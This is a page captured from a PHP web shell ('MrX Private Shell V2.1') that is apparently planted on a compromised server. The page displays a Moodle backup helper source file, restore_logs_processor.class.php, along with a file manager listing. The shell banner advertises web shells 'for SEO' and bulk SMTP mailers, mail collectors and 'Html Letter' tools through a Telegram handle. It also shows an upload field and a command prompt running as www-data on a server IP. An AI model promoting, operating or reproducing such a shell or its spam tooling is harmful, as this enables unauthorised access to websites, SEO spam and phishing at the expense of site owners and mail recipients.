__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * @package    moodlecore
 * @subpackage backup-helper
 * @copyright  2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 *
 * TODO: Finish phpdocs
 */

/**
 * This class is one varying singleton that, for all the logs corresponding to
 * one task, is in charge of storing all its {@link restore_log_rule} rules,
 * dispatching to the correct one and insert/log the resulting information.
 *
 * Each time the task getting the instance changes, the rules are completely
 * reloaded with the ones in the new task. And all rules are informed with
 * new fixed values if explicity set.
 *
 * This class adopts the singleton pattern to be able to provide some persistency
 * of rules along the restore of all the logs corresponding to one restore_task
 */
class restore_logs_processor {

    private static $instance; // The current instance of restore_logs_processor
    private static $task;     // The current restore_task instance this processor belongs to
    private $rules;           // Array of restore_log_rule rules (module-action being keys), supports multiple per key

    private function __construct($values) { // Private constructor

        // Constructor has been called, so we need to reload everything
        // Process rules
        $this->rules = array();
        $rules = call_user_func(array(self::$task, 'define_restore_log_rules'));
        foreach ($rules as $rule) {
            // TODO: Check it is one restore_log_rule

            // Set rule restoreid
            $rule->set_restoreid(self::$task->get_restoreid());
            // Set rule fixed values if needed
            if (is_array($values) and !empty($values)) {
                $rule->set_fixed_values($values);
            }
            // Add the rule to the associative array
            if (array_key_exists($rule->get_key_name(), $this->rules)) {
                $this->rules[$rule->get_key_name()][] = $rule;
            } else {
                $this->rules[$rule->get_key_name()] = array($rule);
            }
        }
    }

    public static function get_instance($task, $values) {
        // If the singleton isn't set or if the task is another one, create new instance
        if (!isset(self::$instance) || self::$task !== $task) {
            self::$task = $task;
            self::$instance = new restore_logs_processor($values);
        }
        return self::$instance;
    }

    public function process_log_record($log) {
        // Check we have one restore_log_rule for this log record
        $keyname = $log->module . '-' . $log->action;
        if (array_key_exists($keyname, $this->rules)) {
            // Try it for each rule available
            foreach ($this->rules[$keyname] as $rule) {
                $newlog = $rule->process($log);
                // Some rule has been able to perform the conversion, exit from loop
                if (!empty($newlog)) {
                    break;
                }
            }
            // Arrived here log is empty, no rule was able to perform the conversion, log the problem
            if (empty($newlog)) {
                self::$task->log('Log module-action "' . $keyname . '" process problem. Not restored. ' .
                    json_encode($log), backup::LOG_DEBUG);
            }

        } else { // Action not found log the problem
            self::$task->log('Log module-action "' . $keyname . '" unknown. Not restored. '.json_encode($log), backup::LOG_DEBUG);
            $newlog = false;

        }
        return $newlog;
    }

    /**
     * Adds all the activity {@link restore_log_rule} rules
     * defined in activity task but corresponding to log
     * records at course level (cmid = 0).
     */
    public static function register_log_rules_for_course() {
        $tasks = array(); // To get the list of tasks having log rules for course
        $rules = array(); // To accumulate rules for course

        // Add the module tasks
        $mods = core_component::get_plugin_list('mod');
        foreach ($mods as $mod => $moddir) {
            if (class_exists('restore_' . $mod . '_activity_task')) {
                $tasks[$mod] = 'restore_' . $mod . '_activity_task';
            }
        }

        foreach ($tasks as $mod => $classname) {
            if (!method_exists($classname, 'define_restore_log_rules_for_course')) {
                continue; // This method is optional
            }
            // Get restore_log_rule array and accumulate
            $taskrules = call_user_func(array($classname, 'define_restore_log_rules_for_course'));
            if (!is_array($taskrules)) {
                throw new restore_logs_processor_exception('define_restore_log_rules_for_course_not_array', $classname);
            }
            $rules = array_merge($rules, $taskrules);
        }
        return $rules;
    }
}

/*
 * Exception class used by all the @restore_logs_processor stuff
 */
class restore_logs_processor_exception extends backup_exception {

    public function __construct($errorcode, $a=NULL, $debuginfo=null) {
        return parent::__construct($errorcode, $a, $debuginfo);
    }
}

Filemanager

Name Type Size Permission Actions
tests Folder 0777
async_helper.class.php File 15.46 KB 0777
backup_anonymizer_helper.class.php File 6.14 KB 0777
backup_array_iterator.class.php File 1.92 KB 0777
backup_cron_helper.class.php File 32.8 KB 0777
backup_file_manager.class.php File 3.44 KB 0777
backup_general_helper.class.php File 13.83 KB 0777
backup_helper.class.php File 18.05 KB 0777
backup_null_iterator.class.php File 1.66 KB 0777
convert_helper.class.php File 14.19 KB 0777
copy_helper.class.php File 13.07 KB 0777
restore_decode_content.class.php File 4.98 KB 0777
restore_decode_processor.class.php File 6.79 KB 0777
restore_decode_rule.class.php File 9.08 KB 0777
restore_inforef_parser_processor.class.php File 2.22 KB 0777
restore_log_rule.class.php File 9.82 KB 0777
restore_logs_processor.class.php File 5.74 KB 0777
restore_moodlexml_parser_processor.class.php File 2.27 KB 0777
restore_prechecks_helper.class.php File 9.56 KB 0777
restore_questions_parser_processor.class.php File 4.36 KB 0777
restore_roles_parser_processor.class.php File 2.54 KB 0777
restore_structure_parser_processor.class.php File 4.84 KB 0777
restore_users_parser_processor.class.php File 3.24 KB 0777
Filemanager